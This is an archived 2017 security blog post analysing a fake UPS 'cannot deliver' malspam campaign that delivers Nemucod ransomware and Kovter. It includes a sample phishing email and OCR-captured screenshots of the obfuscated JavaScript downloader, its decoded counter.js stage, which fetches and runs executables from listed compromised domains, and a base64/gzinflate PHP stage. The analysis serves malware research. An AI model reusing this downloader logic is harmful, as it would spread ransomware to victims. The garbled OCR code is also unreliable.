return of fake UPS cannot deliver malspam with an updated nemucod ransomware and
Kovter payload

@ web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/

By 29 June 2017 8:15 am

The UPS failed to deliver messages have come back with a vengeance yesterday. | haven’t seen them in UK for a while now , but it looks like
the Kovter gang have taken advantage of the Petya outbreak to add to the mix. They have updated the nemucod ransomware version te-make

Update 12 July 2017: Decryptor now available Download HERE

Thanks to the wonderful and dedicated techs at Emsisoft. There is now a decryptor for this ransomware. You can find a clear, easy to follow
set of instructions on how to use the decryptor at Bleeping_ Computer

Important Notice: With this Nemucod Ransomware version your files get encrypted without changing file names or file extensions. The victim
only knows his or her files are definitely gone when they try to open them or see the changed desktop background and ransom message. If an
antivirus kicks in & removes the malware files and the desktop warning which frequently happens, then the victim only knows his or her files
are definitely gone when they try to open them.

| recently came across ( off line) a couple of examples where a victim asked for help with image files they could not open. On careful
examination we saw their anti-malware tool had kicked in, removed ( or blocked the creation of ) the .hta file which displayed the “your Files
are encrypted” message and the original .js file, but had not detected or removed most of the other files that actually do the encryption, so the
victim did not know that their problem was caused by ransomware.

Update 2 July 2017: now also using FedEx and delivering Kovter & Cerber ransomware, while the UPS continues simultaneously delivering
Nemucod ransomware and Kovter

Update 7 July 2017: slight change to the js file in the emails that delivers the ransomware and Kovter payloads (See below)

Update 19 July 2017: | am informed that for the last couple of days these are only distributing the Nemucod php Ransomware not Kovter. (
Kovter is still on the compromised download sites and manually available for download, although an older well detected version). | have seen
this before on odd occasions when the malware bad actors are in process of adding or changing one or more of the malware downloads. |
would not be surprised to see a different ransomware and backdoor payload being distributed in the next few days. Especially now there is a
publicly available decoder / decryptor so income for this gang will stop or vastly reduce with present versions.

Update 23 July 2017: a change in the ransom note see below
Update 30 July 2017: another change in js file see below
Update 16 August 2017: there has been a 2 week break from these, but this morning they are starting to trickle in again. see below

Update 19 August 2017: A change in behaviour today. They have switched back to using Locky ransomware as the payload (_see below) |
haven'’t seen Locky ransomware delivered by these fake UPS delivery emails for over 6 months.

Update 20 August 2017: yet another change today. now a html file attachment that pretends to be a word on line word document that cannot
be read in your browser so you need to download & run the plug in to make it work See below
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Thanks to Michael Gillespie a well known anti-ransomware campaigner for his assistance and pointing me in the right direction about the new
nemucod ransomware version. If | hadn’t seen his tweet asking for samples, | would probably just ignored this as a recurrence of the usual
“failed to deliver” spam, scam messages pretending to come from all major delivery companies and added a foot note to one of the other
hundreds of posts on this blog about this persistent malware spreading method.

If you get infected by this or any other ransomware please check out the 1D Ransomware service which will help to identify what ransomware
you have been affected by and offer suggestions for decryption

The emails are the same as usual ( you only have to look through this blog and search for UPS or FedEx or USPS and see hundreds of
different examples and subjects)

£ Reply @(4_ Reply All (2 Forward

Thu 29/06/2017 04:49
ntxresearch-5225@ntxresearch.com

Please recheck your delivery address (UPS parcel 008117635)
To submit@thespykiller.co.uk; submit@thespykiller. co.uk

Message E_:,'_UPS-ParceI-ID-OOB‘H?EBS.Zip [2 KE)

Dear Customer,

UPS courier was unable to contact you for your parcel delivery.
You can download the shipment label attached!

Yours truly,

UPS Mail Delivery Agent.

Another_researcher has created a video showing the infection chain with this ransomware. It clearly shows that the files get encrypted without
changing file names or file extensions. The victim only knows his or her files are definitely gone when they try to open them or see the
changed desktop background and ransom message.

And this video also created by the same researcher with the newly updated version of the js file ( 7 July 2017 ). This video shows word being
opened but no doc appearing, just garbled plain txt. while all the action happens in the background while your attention is on the fake word
doc. It clearly shows the encryption happening before the hta file that creates and displays the ransom note is dropped and the desktop
changed and ransom notes created.

We have been hearing about some antiviruses block .hta file creation or delete them as soon as they are created before they can display the
ransom note. But not recognize or block the actual .js file and the subsequent php files from running, so allow the ransomware to work.
Because there is no displayed note or background change the victim doesn’t realise their files have been encrypted until they go to use them.

but there is a difference in the s files that are coming in the zips.

The initial js looks very similar to previous but has much longer vars ( var zemk) that is used to download the other files. This file looks like
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Fi UPS-Delivery-005156577.doc js - Notepad
File Edit Format View Help

lfunction zulum(pikue) {pikue.send();}

var x = ["resedaplumbing.com","modx.mbalet.ru","artdecorfashion.com", "eventbon.nl","elitas.md"];
var robs = 20-20;

var mumik = new Array('GET','JIJINGER');

var mustafa = x.length;

while(true)
{
if(robs>=mustafa)
break;
}
try
{

var joseph = new ActiveXObject(akrim("MSXML2.XAAMAALHTTP"));

var zemk = '8880001FeZrabvMpCF1QTSA9V]sdhtnP6zPyMjbPE13066@BMIIBI ANBgkqhkiGIWOBAQEFAAOCAQBAMI IBCgKCAQEA L FUHAIPAItdUIRKSeBGH
+2u36Q5859KPhq@Iniial rR6n/YGDI7Ib73v4+149b90rDbOPROEDFE5BANVUFB12CeV815KQBaOVsHSHa8GsAxytydEVCAB0KoS +AxavaRYaK /IsAgbndnYIYwK JaGuSsoerYkkNHeYi9dhseqTmtmkqBTIFBPCe@GT 3kbiAdVWSCSvDba85 jRR 2z
+9BeTyIZ51pkFOG0DULTGAYZmCpSRVLPXEKLIKFpxabndqYyqXzaIxaB72KV7mX+w70i7iKk9qpkK7qb2aaG18k1vg1rIHgS jgS2L C3aghf IJAudtCxIpIH2bdzmNiL D+UCHQIDAQABrRQHBRMrgF yI5akANNOeeDy9ZA pxOt-
ZHRytWkQ4Ral4h7_QaMMTkAwSWKILYVq60VQ49BrbXDzwh5ke " ;

var ghyt = false;

var gerlk = x[robs];

var ruxk = '4cB8928666328346a2eefbSdbdc3667d" ;

joseph.open(mumik[2-2], "http://"+gerlk+'/ +greezno()+'? +zemk, ghyt);

zulum(joseph);

var gt = joseph.responseText;

var miffka = gt.indexOf(ruxk);

var pista = gt.length;

var miluoki = "a";

if ((pista+@) > (8+1+1) * 100 && 2 == 2)

{

if (miffka + 3 > 2)
{

var gusar = rizma(gt, ruxk).join(miluoki+"");

hust (gusar) ;
break;
¥
T

i

catch(e)

i

robs++;
3
function malysh() {return akrim("htAAtp");}
function rizma(kjg, 1lki) { return kjg.split(lki);}

function greezno() {return akrim('counaater');}
function hust(gulibator){eval(gulibator);}
function akrim(grigam,podol){return grigam.replace(/AA/g,"");}

as usual you take the first site name in var x and add /counter/? and then var zemk to get the counter.js. these download counter.js. ( if the
first site is not responding, it moves on to the other sites in the list). The first smaller counter.js is downloaded when you use internet explorer
to download it or an IE user agent in Wget. The second larger counter.js is only delivered when the js from the email is allowed to download it,
or you use a “null” user agent via browser or wget or use Chrome or Firefox browser.

the small one looks like

File Edit Format View Help

vAc8892866632834ba2eefbsdbdc3667dr goxe="v4cB88928666328346a2eefb5dbdc3667dr 1d=8; ';goxe+="v4c88928666328346a2eefb5dbdc3667dr cs=5t';goxe
+="ring.fro";goxe+="mChdc88928666328346a2eefh5dbdc3667drCode’ ;goxe+="(92); v4c88928666328346a2eefbS5dbdc3667dr ';goxe+="cq=Stri’;goxe+="ng.fr";goxe
="'omCh4c88928666328346a2eefb5dbdc3667drC" ;goxe+="0de(34); " ;goxe+=" v4cB88928666328346a2eefb5dbdc3667dr 11';goxe+="=
["n4cB88928666328346a2eefb5dbdc3667dtiwdc88928666328346a2eefb5dbdc3667d. ' ; goxe+="com", ' ; goxe+=""4c88928666328346a2eefb5dbdc3667drtdec’ ; goxe
+="orf4c88928666328346a2eefb5dbdc3667dshic' ;goxe+="n.com' ;goxe+="","des';goxe+="1n4c88928666328346a2eefb5dbdc3667dno. " ;goxe
+="com.4c88928666328346a2eefb5dbdc3667dr"," " ; goxe+="index" ; goxe+="s4c88928666328346a2eefb5dbdc3667d. com’ ;goxe
+="'.4c8B928666328346a2eefb5dbdc3667dr" , "gol ' ; goxe+="dwingc ' ;goxe+="lub.ru';goxe+=""]; v4c88928666328346a2eefb5dbdc3667dr ws';goxe+="=WScript’;goxe
+="'.Cre4c88928666328346a2eefb5dbdc3667dteOb] " jgoxe+="ect("WSc" ;goxe+="ript.Shell’ ;goxe+=""); v4cB8928666328346a2eefb5dbdc3667dr fn';goxe
+="'=ws.Exp4cB88928666328346a2eefb5dbdc3667dn ' ; goxe+="dEnvi’ ;goxe+="ronment';goxe+="Strings("%';goxe+="TEMP%")";goxe+="+cs
+"1FeZrdabvMpCf1QTS49VjsdhtnP6zPvMibP"; ' ;goxe+="v4c88928666328346a2eefb5dbdc3667dr p';goxe+="d=ws.Expac88928666328346a2eefb5dbdc3667d" ;goxe
+="'ndEnviron';goxe+="mentS';goxe+="trings';goxe+="("HTEMP%" " ;goxe+=")+cs+"php';goxe+='5.d11"; v';goxe+='4c88928666328346a2eefhb5dbdc3667dr
xo=";goxe+="WScript.Cr';goxe+="'edc88928666328346a2eefb5dbdc3667dte0b] " jgoxe+="ect("MSX" ;goxe+="ML2.XMLHTT' ;goxe+="'P"); ';goxe
+="v4c88928666328346a2eeTb5dbdc3667dr x4cB88928666328346a2eefb5dbdc3667d=WS" ;goxe+="cript';goxe+=".Cred4c88928666328346a2eefb5dbdc3667dt" ;goxe
+='eObject ' ;goxe+="("ADODB.St" ;goxe+="reldc88928666328346a2eefbSdbdc3667dm™) " jgoxe+="; vAcB88928666328346a2eefbSdbdc3667dr ' ;goxe+="fo=WScrip’ ;goxe
+="t.Credc88928666328346a2eefb5dbdc3667dtelb’ jgoxe+="ject("Scr' ;goxe+="ipting.Fi';goxe+="1leSystem0" ;goxe+="bject") ' ;goxe+="; if (';goxe+="
fo.FileE" ;goxe+="xists(';goxe+="Fn+".d" ;goxe+="0c")) ';goxe+="{ v4cB8I28666328346a2eefb5dbdc3667dr f';goxe+="p=fo.C";goxe
+="'redc88928666328346a2eefb5dbdc3667dte’ ;goxe+="TextF';goxe+="ile(fn+".";goxe+="doc", ';goxe+="true); fo';goxe+='r
(v4c88928666328346a2eefb5dbdc3667dr' jgoxe+=" 1=0; i<1';goxe+="3072;"';goxe+=" i++) {';goxe+=" fp.W';goxe+="rite(Stri';goxe
+="ng.fromCh4c88928666328346a2eefh5dbdc3667d" ;goxe+="rCode(M4c88928666328346a2eefh5dbdc3667d" ;goxe+="th.floo" ;goxe+="r
(M4c88928666328346a2eefhb5dbdc3667dth. ' ;goxe+="4c88928666328346a2eefb5dbdc3667dndom’ ; goxe+="()*¥64+28)) ' ;goxe+="); }; fp';goxe+=".Close(); ';goxe
+="try{ws.Run';goxe+="(fn+".doc';goxe+="",1,0";goxe+="); }c4cBBI28666328346a2eefb5dbdc3667d" ;goxe+="tch(e';goxe+="r){}; fo';goxe+="r
(v4c88928666328346a2eefb5dbdc3667dr ';goxe+='n=2; n';goxe+="<=4; n+';goxe+="+) { f';goxe+="or(v4c88928666328346a2eefb5dbdc3667dr i=1";goxe+="d;i]

The downloaded counter needs to be deobfuscated by using the specific var ruxk in the original js file not the var zemk as in previous versions
giving
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d counterjs - Notepad - ol

File Edit Format View Help

har goxe="var 1d=8; var cs=String.fromCharCode(92); var cq=String.fromCharCode(34); var 1ll=
["modx.mbalet.ru","goldwingclub.ru","desinano.com.ar", "artdecorfashion.com™, "www.gloszp.pl"]; var ws=WScript.CreateObject("WScript.Shell"); var
fn=ws.ExpandEnvironmentStrings("%TEMP%" }+cs+"1FeZrdbvMpCF1QT549VisdhtnP6zPvMibP"; var pd=ws.ExpandEnvironmentStrings("%TEMP%" )+cs+"php5.d11"; var
xo=WScript.CreateObject("MSXML2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject").
if (!fo.FileExists(fn+".doc")) { var fp=fo.CreateTextFile(fn+".doc",true); for(var i=0; i<12817; i++) { fp.Write(String.fromCharCode(Math.floor
(Math.random()*64+20))); }; fp-Close(); try{ws.Run(fn+"_doc",1,0);}catch(er){}; for (var n=2; n<=4; n++) { for(var i=1ld;i

The larger counter (1) which is a transformed to the ( drops the embedded) php file (only a part shown in screenshot)

lr4c88928666328346a2eefb5dbdc3667dr goxe='vAc88928666328346a2eefbSdbdc3667dr 1d=";goxe+="0; v4c88928666328346a2eefbSdbdc3667dr cs'jgoxe+t="=5tri’ ;goxe+="ng.fro’ ;gox:
+='nChac88928666328346a2eefbSdbdc3667drCode’ jgoxer="(92) ;' sgoxar=" vAc8898666328346a0eafbsdbdc3667dr ¢’ jgoxat="q=Stri ' ;goxer="ng. FromC’ ,gaxe+,‘h4<33918666323345azeefbsdbdczaa7dPCa ;goxe+="de(34); ';goxe
+='v4c88928666328346a2eafb5dbdc3667dr 11=["";goxer="e1it4c88928666328346a2eeTbSdbdc36674" s goxe+="5 .md”, "ndc83928666328346a2eeTbSdbdc3667dt ' ; goxer="1udc889286663283462eafbSdbdc3667d. con”, ' goxe

+=' "modx .mb4c88928666328346a2eefbSdbdc3667d" ; goxe+="let .ru" =" desin4c88928666328346a2eefb5dbdc3667dno’ jgoxe+=". com. 4c88928666328346a2eefbSdbdc3667dr", "' ; goxe
+='4c88928666328346a2eefb5dbdc3667dmis- ' goxe+="spb.ru"]; '3 V4c88928666328346a2eeFb5dbdc3667dr ws=" ;goxet="HScript. ' ;goxets’ Credc8B928666328346a2eefbSdbde3667dt c0b] ' ; goxeta" act ("WScr ' ;goxet
+='hell") ' ;goxe+="; vAc88928666328346a2eefbSdbdc3667dr fn=";goxe+="'us. ExpAc88928666328346a2eefb5dbdc3667d" jgoxe+="ndEny ' ;goxe+="ironment ' ;goxe+="'Strings("%" ;goxe+='TEMPE")+ ' ;goxe+="cs

+"1F eZrdbvMpCFIQTSASV sdhtnP62zPyMIbP! 5 vAc88928666328346a2eefb5dbdc3667dr pd=u';goxe+="s.Exp' ;goxe+="'4c88928666328346a2eefbSdbdc3667dndEny ' jgoxe+="ironmentSt ' ;goxe+="rings';goxe+="("%TE';goxe+="MP
%")+' ;goxe+="cs+"php5 ' ;goxe+="'.d11" ' 4c88928666328346a2eefb5dbdc3667dr xo=";goxe+='WScript ' ;goxe+=".Credc88928666328346a2eefbSdbdc3667dte0b " sgoxe+="ject ("' ;goxe+="MSXML2" ;goxe+=" . XMLHT ' ;goxe+="TP")
Vv4cBB928666328346a2eefbSdbdc3667dr ;goxe+="x4c88928666328346a2eefb5dbdc3667d=WS ' ;goxe+="cript ' ;goxe+=".CredcBB28666328346a2eefbSdbdc3667dt ' ; goxe+="eObject("A'; goxe+="DODB. " ;goxe
+=!5tredcB8928666328346a2eefbSdbdc36674" sgoxer="n"); v4c88928666328346a2eefbsdbdc3667dr " jgoner=' fokis'jgoxer ‘cript‘,guxe+ ' .CredcBB928666328346a2eefbSdbdc3667d " ;goxe+="teObject ("' ;goxe+="Scripti’ ;goxe
+='ng.FileSys";goxe+="temObjec';goxe+="t"); i';goxe+="f (!fo. F',guxs+f ileEx';goxe+="ists(';goxe+="fn+".doc""';goxe+=")) ;goxe+="4c88928666328346a2eefb5dbdc3667dr fp=f';goxe
+="0.Cre4cB8928666328346a2eefbSdbdc3667dteTe’ ;goxe+="xtFile(f" jgoxe+=",true); ;goxet=" fﬂP(v4c889286663283463255fb5dbdc3667dr jgoxe+=" i=0;';goxe+=' i<9991';goxe+
+='rite(Stri’;goxe+="ng. fronChdc88928666328346a2eefb5dbdc3667d" ;goxet= rCudE(M4(889286663283A65255bedbdc3667dth‘,guxs+-‘.flnnr(Mﬂc88928666328346615&fb5dbd(3667dt‘;guxs
+='h.r4c88928666328346a2eefb5dbdc3667dndom’ ; goxe+="()*64+20) ' ;goxe+=")); }; f ,gnxe+_ p.Close();";goxe+=" th{w‘;guxE s.Run(';goxe+='fn+".doc", ' ;goxe+="1,0); }c';goxe+="4c88928666328346a2eefbSdbdc3667dtch
('3goxer="er){}; ';goxer='for (4c88928666326346a2eefbsdbdc3667dr n';goxe+='= 5 n++) {';goxer=" for(";goxe+='vAcB89286663283462eefbSdbdc3667dr i=1d;i";goxer="<11.length';goxes=";i++) {';goxer=
vac88928655318346azssfb5dbdc3aa7dr dn=0;';goxe+=" try ';goxet="{ en( ;goxe+="http: //"+' ;goxe+="11[i]+" ;goxe+=""/cou’ ;goxe+="nter/?
BBBBBBIFEZrdvapCleTSABVJsdhtnPﬁszMijBl}BééBBMIIBIJANngqhleQwBBAQEFAAOCAQSAMIIBCgKCAQEAlLJfVHAlPthduIRKLSEBGN
+2u30Qs859KPhq@Iniidc88928666328346a2eefbSdbdc3667dLrR6n/YGDI7Ib73v4+149b90rDbBPRDLEDFE5BANVUFB12CeV81sKQBACBBI28666328346a2eefbSdbdc3667dOVSWSHACBB928666328346a2eefb5dbdc3667d8GsAxytydEVCA00KOS
+4%4c88928666328346a2eefb5dbdc3667dvOBYAK/IsAgbwdnY9YwKI4CBS: 46a2eefb5dbdc3667d( YkkNHeYi9dhS@qTmtmkqBTIFBPCe@GT3kbiAdVNSCSyDbAC88928666328346a2eefbsdbdc3667d855RR2
+9BCTy1751pkF9GODULTGAYZNCpSRVLPXEKL IKFpx4c88928666328346a2eefbSdbdc3667dbndqYyqXz4IxAc88928666328346a2eefb5dbdc3667dB7 2KV7mX
+u7011iKk9gpkK7qb24c88928666328346a2eefbSdbdc3667d488928666328346a2eefb5dbdc3667dG18k1valrIHg9 gS 2LC34c88928666328346a2eefb5dbdc3667dghfIIAudtCx9pIH2bdzmNiLD
+HCHQIDAQABFRQHERMrgFy 54 8892866632834622eefb5dbdc 3667dkANNO=eDyS7A_pxOt - ZHRy tHQ4RAC8E92866632834620eefbSdbdc3667d14h7_ QA(SSQISEEEBZ&EABaZeebedbd<3667dMMTkAw3NK9LVVchVQdQBwaDzwhSk“+n ;goxe
F4088928666328306a2eefb5dbdc3667d1se’ goxes="); xo.se'jgoxe+="nd(); 1f';goxes="(xo.5tAc8BI286663283462eefbsdbdc3667d" ;goxatn"tus==2" ;goxe+="00) {';goxets" XAcBE928666328346a2eefbsdbde3667d.Open ;goxet="()
x4c88928666328346a2eefb5dbdc3667d ' goxet="".Type=1';goxe+="; xAcB88928666328346a2eefbSdbdc3667d. ';goxe+="Write(xo.r';goxe+="esponseB’ jgoxe+="ody); x4c88928666328346a2eefbSdbdc3667d" ;goxe+=".Position=";goxe+="0
lf(xac8892355531834631eefbsdbd<3557d,',gcxs ='Size>'jgoxe+="10000) ';goxet='{ dn='jgoxer='1; if(n';goxet='<=2){x';goxe+='4c88928666328346a2eeTbSdbdc3667d. 54cssgzseee3zszaeazssfbsdbdcass7dvsrcF‘,gnxs+, ile
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£v4c88928666328346a2eefb5dbdc3667d1(" spoxer="gzinf1' ;goxe+="4c88928666328346a2eefbSdbdc 3667 dte (b4C88928666328346a2eefbSdbdc3667dse ' ; goxer="64_decode( " sgoxer="str_repl4cB8928566328346a2eefbSdbdc3667d " sgoxer="ce(
"+cq+"C' jgoxets _MODE"+cq" ;goxe+="+", "+cq+"4cB8928666328346a2eefbSdbdc3667d" ; +c';goxe+="q+"7HOJeyK " ;goxe+="3suhfIXN' ;goxe+="8gx3sofd’ ;goxe+="'uzZjLIY/ " ;goxe+="VuG0/2ZA" ;goxe+="5FAL3Br
Gz SuplibaB s goxe+=' nnlyce+8kt ' ;goxet="q6711";goxe+=VKpdok ' ;goxers’ 1cbOpDp’ ;goxet="pISxqtol’ ; goxe+= ' rT7COMP" ; goxe+s'AT_HODELnY" ;goxet='+1dradHTuT ' ;goxe+s’ 7XeN9njYt ' ; goxe = 'RAVZZQCOM" ;g
oxe+='PAT_NOD" ; goxe+="EjMby " ; goxe+="dhPvys3mO4 " ;goxe+="'BoOM1" ;goxe+="23910nmYvD " ;goxe+="6q5u/3Ds8v" ;goxe+="ifvGBelo+" ;goxe+="udwvnxbP75" ;goxe+="K7CWKFYCS ' ;goxe+='7f168" ;goxe+="vAQoeQUUPX ' ;goxe+='xTPCHX' ;goxe+=
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goxe+="'AT_MODEC' ;goxe+='jZsHELE68e ';goxe+="1TIqoIK ' ;goxe+="8HeAP/B' ;goxe+="'hvbIillofiC' ;goxe+='2/195LuM " ;goxe+="G/uRA" ;goxe+="SN1SRymOgU" ; goxe+="'Cx+Qg ' ;goxe+="Y5FzdBCbPS ' ;goxe+="JAZONLC ' ;goxe+="CPoedV" jgoxet="c
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"5 ir+) jgoxer='{ fp.W';goxe

which is decoded using the same vars as in earlier example to

lar goxe='var 1d=e; var cs=String.fromCharCode(92); var cq=String.fromCharCode(34); var 11=["elita5.md","natiwa.com”,"modx.mbalet.ru”, desinano.com.ar”,"amis-spb.ru"]; var ws=WScript.CreateObject
("WScript.Shell"); var fnzws.ExpandEnvironmentStrings ("¥TEMP%")+cs+"1FeZrabvNpCF1QTSA9VisdhtnPEzPMbP"; var pd=ws.ExpandEnvironmentStrings ("%TEMP%")+cs+"phps.dll”; var xo=WScript.CreateObject
("MSXML2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject”); if (!fo.FileExists(fn+".doc")) { var fp=fo.CreateTextFile(fn+".doc”,true); for(var
i=0; i<9991; i++) { fp.Write(String.fromCharCode(Math.floor (Math.random()*64+20))); }; fp.Close(); try{ws.Run(fn+".doc",1,8);}catch(er){}; for (var n=2; n<¢=4; n++) { for(var i=1d;i<1l.length;i++) { var dn=0;
try { xo.open("GET","http://"+11[i]+"/counter/20000661FeZr4bvMpCf1QTSASV sdhtnP6zPyMIbPO138660BMIIBIANBgkahkiGOWBBAQEF AAOCAQBAMI TBCgKCAQEAL L j FVHALPAOtdUIRK SeBGH
+2u30Qs859KPhq@Iniial rRén/YGDI7Ib73v4+149b90rDbOPRDLEDFt5BANVUFB12CeVE1sKQBa0VsHSHaBGsAxy ty dEVCAQOK: /IsAgbwdnYSYuK YkkNHeYi3dh5@qTmtmkqBTIFBPCe@Gf3kbiAdVWSCSvDbaB5jRR2
+9BCTy1Z51pkF9GODUL TGAYZmCpSRYLPXEKLIKFpxabndqYyqXz41xaB72KV7mX+u7011iKk9apkk7qb2aaG18k1valrIHg9ieS2L C3aghfIIAudtCxOpIH2bdzmNi LD+HCHQIDAQABrRQHER M gF y T5akANNOeeDy 9ZA_px@t-
ZHRytWkQ4Ralah7_QaMMTkAW3WK9ILYVG60VQ49BrbXDzwhsk"+n, false); xo.send(); if(xo.status==20@) { xa.Open(); xa.Type=1; xa.Write(xo.responseBody); xa.Position=0; if(xa.Size>1000@) { dn=1; if(n<=2){xa.SaveToFile(fn
+n+"_exe”,2);try{ws.Run(fn+n+" exe”,1,0);}catch(er){};} else if(n==3){xa.SaveToFile(fn+".exe",2);} else if(n==4){xa.SaveToFile(pd,2);} }; xa.Close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if
(fo.FileExists(fn+".exe") && fo.FileExists(pd)) { var fp=fo.CreateTextFile(fn+".php",true); fp.Writeline("<2php
eval(gzinflate(base64_decode(str_replace("+cq+"COMPAT_MODE"+cq+”, "+cq+"a"+cq+", "+cq+"7HOJeyK3suhFIXNBgx3s0fduZ L IY/VuGO/ 2ZASFAL3BraGY ZcDz 3t 7+SSuplibaBnn]yce+8ktqG7] IVKpdok1cbOpDpp95xat91rT7COMPAT_HODELnY+Idr9dHTu
T7XeN9njYtRAVZzQCOMPAT_MODE jHbvdhPvys3m04BoO0M123910nmYvDEqSw/ 3Ds8vi fuGBelo+uduvnxbP75K7CWkFYC57F168vAQ0eQUUpXXTPC+XFABTVOD] T7IXFAdS gF IXQ)2Vz40A0q@AuC6eXBXXYHS xuH+2Bu3r7P Lhiney rqZC93K7pgbT caFYIV/027 Inm8Dm8uTxGnp
RyP3TyhqCHWFPs5cXV71sNX91HS6VSKBuNe79nicOLUnrliqu/XDYnzgPzixr8 THHIW2ZnZ36n2Ez+1xte882IP22E185 Tt7pi/GY6cenveHy Th+Z7MHtbCOMPAT_MODEKSAS7gRAWNS78Y6I57dcnBLXCOMPAT_MODERQ/64810Wp9sb8OBVNGF gvCOMPAT_HODEYNCBLOABFUSH
¥/gn711juenkHuI2f25N6K7ENdTnke51U4sunTp/gVeB07ACOMPAT_MODEpAKE3TOSBWE1KoE schYFCOMPAT_MODEZF jdz7GVV+r94C0395C5rbXCNRhT7uT 76uMsx LUSw3+I3QMAz sYuwolixN7mT +PnnRDy Zy5Xi 2cXF SbVwe EEnwobgx THCXcABGES q44k9mmuDQuOv2Bq2+80B+
buFHABoTWDEAeQBxBA7HCZvAZHTbITrXcFuk+/ACOMPAT_MODEQSVoHGOVEW73e3kP8rQA2grsX3gQIdGLy Ft2sgel XYS1861dHX7 /S87/23gE GBI FhEK3DGRPUZgo2heXsBshekEcpz Tm8ANMxz0C/ y\V9qL5mCUNS qE@6Fwu3Erdn6YNqf+0DI115KQG81p90uQuSKTEbE3jZue
kgByuwdB++g0QSST qxP7YexVpXz9stWGZj1GXt+3k+ntPxqpP972XzvpNumh@Bzp]cXY7eEXAUSBVFASCxB+MSBibq2TO+L9BWZ61vBtPUPPSbExqs1iYOT /AoT ICOMPAT_MODEC;ZsHE1E68el TIqoIK8HeAP/BhvbIiWofiC2/195LuMG/wRASN]SRymOgUCx+QgYSH
2dBCbP5 FATONLCCPoeOHVC5q181Dhrsns LAXgnvDCONPAT_HODErTYOGUAr9g@zpKnBDCr <Yy 2gQu3dZnorvHmGCOMPAT_HODEVNCZUhgaahrE6Lapbk14bSVOSF7CzT cP7ykBcwS LEVACTHObHNGRY Lor@1CONPAT_HODEUPgGknRGENZTRANLE FuBLy t7CYNZecVriiPogBgbe
1F7IRnVCOMPAT_MODEmovIqIG5LQFCUTdUpCUVIF 8bHLpNGK/0080AOLCOMPAT_NODEOSMBOMRY PKt0Z0+RIHXZ9XIYogvYPakoRowxCOMPAT_MODE111fzglh/UHhla/LilqTenlglorUnrPd773VpiRASDDTVY JtHRF dqB12DiVIHKR 9t FNF dW2ByhF pISHsxSARhXXzLrAhUmd
mTbrkEFiCH3k/JpExiCOMPAT_MODERUL1BFCGL7RyKq+8LnDgshKMvHEQ7AOtezBqQM2gd6ByKgCoZiNGA38TIIDE/AYqGS1SNE2K 1vSDLLALbFBQNR7R2u+I5FAyBQFU+CFYAcDi76H38y T8qbX7ChjDhGCVGqeuQ3AgZgRBouR0gd1Py cKkXP4jkoZYGkODEGEXFLENIFsI4Trdx
MULOGPZAsyp@iUBHIZqCDE1Yz6B91iCkovcIzNxpd1t8CBpSUZICOMPAT_MODEXICVIMECPVAhUIETFILmbPANFkmubSYmD3RpeSvIDt/AgkrE+mtCNNYSLunfGuXFHOSF +FwFuwnRQOAMDLpEvSggvvCIIMNDO+C51ed64ggECONPAT_MODE /ry1e0SCOMPAT_NODEm@XCcZKm9il/
AkMMyBjdTRutZsTOjxRcnpHOPrR2IM3ker6pu3Udes cYZ4COMPAT_MODEKSkunblekJHrO89BL3E7uScnd8IDTUUHKUI SWzCOMPAT_MODEYSNUT2eRGh+83NHFoLKeSbyBZ1yZObWTyCOMPAT_MODEQOGEhIRpgSI Temp7FrZ//jn9usfpPn079tfsns1e68p7Wii+/rlz/pd/EOLTS
yCOMPAT_MODEmSS5yCOMPAT_HODE7VHEBFD8FVGEWd tw6 LluegUF oxSK6FYs3n/7/PbTrne3kws+IxM7HH1dVgbELyikUPADEBY6KBBECOMPAT_MODE11akspeYEcsotLnumgdE188wWCOMPAT_MODEAQpYUUI cCEORHGCN 1ukhGF EBV+MhH7vYB3EhWCnbtBI Txn+ZX3xzyXKjiEx9qf
NVsmdrdKHyLm1/fuvP/12BybYHkyoF /26Z8vezvSLy9f/r1HShmbZXy0/ TBvx7Dp/AeMHdIt1Dhs,/D7QgW33H3boGIbtoPgxJeQF5ThpD7 ttZ7QRUNC irR/WRDgbcSCOMPAT_MODEBnADINt6MCOMPAT_MODEJ8Z3YI/2950IUe/8VI jHH3yWhvICAECONPAT_MODENA0S9ISLIR
KIZEX1@ATHANQCRzOVSyoW4Uq3m2BAF JEpTyju8Om306YbyF1TozvVXNIAVN] +ev03hd]jtROq71ADY2zF JWekiBDFYVSHmSwh/ Zods dhwoAEK Fv+E8y pOt GCoA2pSiXgUNOgrbPIGCYoAuGLCOMPAT_MODEMNEMgrA7CYs6Ce6HGUEYrRyRXDhYVhUEAPOFXCOMPAT_MODEHKIile
HMe90XGd108h fomgxz18COMPAT_MODE3J82BMA1;ddgIDqVRpcRsx+J6 DQ8BhYps7gEEgsC+pajx2vxVgMIb/+eVBFPx555cwdkOnSCOMPAT MODETtL1t9+IKANulGCDC: 3+Smtco+FknZ3EBEIPQ+qkblF54ABbIx7 rFyNeKRCy LodHnDn/UR+Dvgp6o35awofCsn
T6RPqyH+2zUBEAB/UkARIohbrvilHA2RICAZt/@dCRIqEOQIDIRIMCAKSQniwIot2VH ToDFhUF IYpX6+ICOMPAT MODEEMxU3VN11CquMKPFNGNATb+xDjMudmIMBF o/wkBujTKz6rF8jub2CSCcGMyiEVK/ rxBetleE rloTOcj1B1+/ x FnPLAMGCivCBFY7AnXSUwn10gESYW3S Y
GCAj+0glQq/ cGDRFMNkzTVGQISVdqGLCOMPAT_MODEK ] 1gCukMiAu/93yzfEzoRURTIEK7VG+1ZZFMBCOMPAT_MODEPAGLmIT7M3ZiNXrB8hGLAZNF I3Eq/ Y18MnLGoMy EmIZnXvnCHhFYECOMPAT_MODEvxq89+8wllL/LEy3pCOMPAT_MODE1SRVCOMPAT_MODEDzgNxqY2tvbCOM
PAT_MODErvcIoRRuiyNgljGxFI+irlgn14SPiEQ6IeHCA1IeSYS1t6I COMPAT_NODECOMPAT_MODEZR3WKIBZHO+97COMPAT_MODEJRMNloxAwex2DDBGXWH3AbjgggccVVgPraRujxIbj7I2dkFnSnqy25sg2AI8bovGhOhs qYgLKYxU+EFAHARF r11h8zHAUX/ 2<HDN7IADS
